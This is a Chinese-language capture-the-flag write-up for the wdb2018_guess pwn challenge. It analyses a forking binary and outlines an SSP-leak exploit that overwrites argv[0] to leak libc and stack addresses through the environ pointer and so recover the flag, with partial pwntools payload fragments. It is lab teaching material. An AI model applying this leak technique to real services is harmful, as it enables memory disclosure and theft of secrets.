SSP Leak & Fork
96)wdb2018_guess(Fork&SSP Leak&environ)
1 | __int64 __fastcall main(__int64 a1, char **a2, char **a3) |
主要工作是对该 main 函数进行分析:
1.
1 | n3 = 3; |
- 初始化 n3 为 3,表示最多允许 3 次循环。
- 清零 stat_loc 的低32位。
- 初始化当前次数计数器 n3_1 为 0。
- 读取 flag 文件
1 | HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0); |
调用 0,也就是以只读打开 flag.txt。把文件描述符 fd 存放在了指针的高 32 位当中
- 检查
1 | if ( HIDWORD(stat_loc.__iptr) == -1 ) |
检查文件是否打开,失败为-1,打印错误信息并强制退出。
- 读取文件内容
1 | read(SHIDWORD(stat_loc.__iptr), buf, 0x30u); |
从刚才打开的文件描述符中读取 0x30(48字节)的数据,存放到 buf 数组中。 S 表示 signed 有符号
- GUESS
1 | puts("This is GUESS FLAG CHALLENGE!"); |
- n3_1 是已经尝试的次数(初始为 0),n3 是最大允许次数(前面代码初始化为了 3)。
- 每次循环开始时,父进程都会检查次数。如果已经达到 3 次,父进程就会打印无情的告别语,并直接 return 0 结束整个程序。
1 | if ( !(unsigned int)sub_400A11() ) |
- sub_400A11() 就是 fork()。程序运行到这里,会分裂成两个平行的进程。
- 对于子进程(分身)**:**fork() 返回 0。!0 为真(1),执行 break。子进程成功跳出了这个 while(1) 循环,继续往下执行去调用危险的 gets(s2),准备接收你的输入。
- 对于父进程(本体):fork() 返回子进程的 PID(一个大于 0 的数字)。!PID 为假(0),不会执行 break。父进程依然留在这个 while(1) 循环里。
1 | ++n3_1; |
- 由于子进程已经 break 出去了,只有父进程会执行这两行。
- ++n3_1:父进程将已经消耗的机会次数加 1。
- wait(…):父进程在这里挂起(也就是睡着了),耐心等待刚刚派出去的子进程执行完毕。
- 如果子进程中发生了栈溢出崩溃(比如触发了 Canary 保护机制被操作系统干掉)。
- 或者子进程正常比对了 Flag 并退出(return 0)。
- 只要子进程一死,父进程的 wait 就会立刻苏醒,然后重新回到 while(1) 的开头,开启下一轮的循环(检查次数 -> 召唤新分身 -> 继续等待)。
- tip
1 | 如果你直接在一个普通的程序里触发栈溢出并覆盖了 Stack Canary(栈保护金丝雀) |
- strcmp 进行比较
1 | if ( !strcmp(buf, s2) ) |
总结一下整个程序 fork 的流程:
1 | 1. 主程序(父进程)启动,读取真实的 flag.txt 保存到自己的内存里。 |
exp 思路:
把断点下在 gets 处,rdi 即为我们要输入的地址。我们还需要寻找 angr[0] 的位置在 0x…d38 的位置
0xd38 - 0xc10 = 0x128
1 | from pwn import * |
之后通过 libc 去寻找真实地址:
1 | libc_base = puts_addr - libc.sym['puts'] |
- environ 的特性:environ 是一个全局变量,它存放在 Libc 的数据段中(所以它的地址可以通过 libc_base + libc.sym[‘environ’] 精确计算出来)。最关键的是,environ 里面存储的值,是一个指向环境变量的指针,而环境变量是存放在高地址的栈(Stack)上的。
- 动作: 把 argv[0] 指针覆盖为 environ_addr。
- 程序报错时, environ 指向栈,会去读取 environ 指向的内容,于是就把栈的地址打印出来了!
1 | payload2 = b'a'*0x128 + p64(environ_addr) |
先接收栈的地址,寻找栈和
0xf78 - 0xe70 = 0x168 两个地址差为 0x168 所以上面的 exp 应该是
1 | payload2 = b'a'*0x128 + p64(environ_addr) |
1 |
|
更新: 2026-03-29 22:08:41
原文: https://www.yuque.com/idcm/wnemg9/tdof1cdghf9huxok